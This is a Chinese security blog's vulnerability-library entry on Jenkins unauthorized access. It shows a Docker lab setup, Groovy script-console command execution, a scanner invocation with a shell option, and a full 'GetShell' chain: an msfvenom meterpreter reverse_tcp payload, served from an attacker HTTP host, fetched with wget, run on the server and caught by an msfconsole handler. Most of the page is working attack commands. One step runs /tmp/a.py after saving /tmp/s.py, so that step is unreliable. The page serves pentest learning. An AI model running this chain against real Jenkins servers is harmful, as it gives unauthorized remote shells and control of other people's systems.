某不知名博客 某不知名博客
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)

Carsaid

安全界的小学生
首页
  • 《vulcat文档》
  • Web安全

    • 《BurpSuite及官方实验室》
    • 《OSWE学习历程》
  • 云原生安全

    • 《Docker命令大全》
    • 《CKS考试学习指南》
    • 《旧-Kubernetes教程》
漏洞库
  • 《渗透工具大全》
  • 《云安全》
事件库
关于
  • 分类
  • 标签
  • 归档
GitHub (opens new window)
  • Web应用程序

    • 74cms

    • Alibaba Druid

    • Alibaba Nacos

    • Apache Airflow

    • GoCD

    • Jboss

    • jenkins

      • jenkins未授权访问
        • 1)漏洞信息
        • 2)漏洞环境
        • 3)漏洞复现-手工
        • 4)漏洞复现-vulcat
        • 5)漏洞复现-GetShell
    • joomla

    • thinkphp

    • vmware

    • weblogic

  • 云漏洞库

  • 漏洞库
  • Web应用程序
  • jenkins
clincat
2023-03-20
目录

jenkins未授权访问

# 🧡 Jenkins未授权访问

# 1)漏洞信息

漏洞名称 受影响组件 漏洞类型 漏洞编号
Jenkins未授权访问 Jenkins (opens new window) 未授权访问 暂无
漏洞简介

默认情况下 Jenkins面板中用户可以选择执行脚本界面 来操作一些系统层命令

攻击者可通过未授权访问漏洞,或者暴力破解用户密码等方式进入后台管理服务,通过脚本执行界面获取服务器权限
参考链接
  1. https://blog.csdn.net/weixin_40412037/article/details/120369441 (opens new window)
  2. https://blog.csdn.net/weixin_39664643/article/details/118154046 (opens new window)
补丁及修复方案
  1. 配置Jenkins登录验证
网络空间测绘
FOFA:
FOFA:
FOFA:

# 2)漏洞环境

此处使用官方镜像 (opens new window)搭建漏洞环境

docker pull jenkins:1.625.1
docker run -itd -p 8080:8080 -p 50000:50000 jenkins:1.625.1
1
2

启动容器后,访问8080端口即可看到 jenkins 页面

# 3)漏洞复现-手工

点击 “系统管理” --> “脚本命令行”

输入以下脚本,然后点击 “运行”,即可在下方看到执行结果。

println "whoami".execute().text

println "cat /etc/hosts".execute().text
1
2
3

除了上面的 Groovy 语法以外,还可以通过 java 的方式来实现命令执行:

这种方法与 ElasticSearch 的 CVE-2015-1427 (opens new window) 有点类似。

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText()
1

# 4)漏洞复现-vulcat

python3 vulcat.py -u <URL> -v jenkins-unauth
1

支持 --shell 选项

python3 vulcat.py -u <URL> -v jenkins-unauth --shell
1

你可以通过vcsearch语法,使用正则表达式精确匹配回显的位置

# 搜索 <h2>Result</h2> 及其后面的 300 个字符
id | vcsearch <h2>Result</h2>.{0,300}
1
2

# 5)漏洞复现-GetShell

使用msfvenom生成载荷

msfvenom -p python/meterpreter/reverse_tcp LHOST=<你的IP> LPORT=<你的端口> -f raw > s.py
1

接着,在s.py所在目录下,使用 python 在攻击机本地启动一个 HTTP 服务

python3 -m http.server --bind 192.168.80.1 80
1

然后在 jenkins 脚本命令行中,通过 wget 下载 s.py

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("wget http://192.168.80.1/s.py -O /tmp/s.py").getText()
1

在攻击机上运行 msfconsole,并设置载荷:

use exploit/multi/handler
set lhost <你的IP>
set lport <你的端口>
set payload python/meterpreter/reverse_tcp

# 运行
run
1
2
3
4
5
6
7

在 jenkins 脚本命令行通过 python 运行 /tmp/s.py

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("python /tmp/a.py").getText()
1

回到 msfconsole 窗口,成功连接

编辑 (opens new window)
jboss未授权访问
joomla-cve-2017-8917

← jboss未授权访问 joomla-cve-2017-8917→

最近更新
01
API测试笔记
04-30
02
msfvenom
03-29
03
Metasploit
03-29
更多文章>
Theme by Vdoing | Copyright © 2023-2024 Carsaid | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式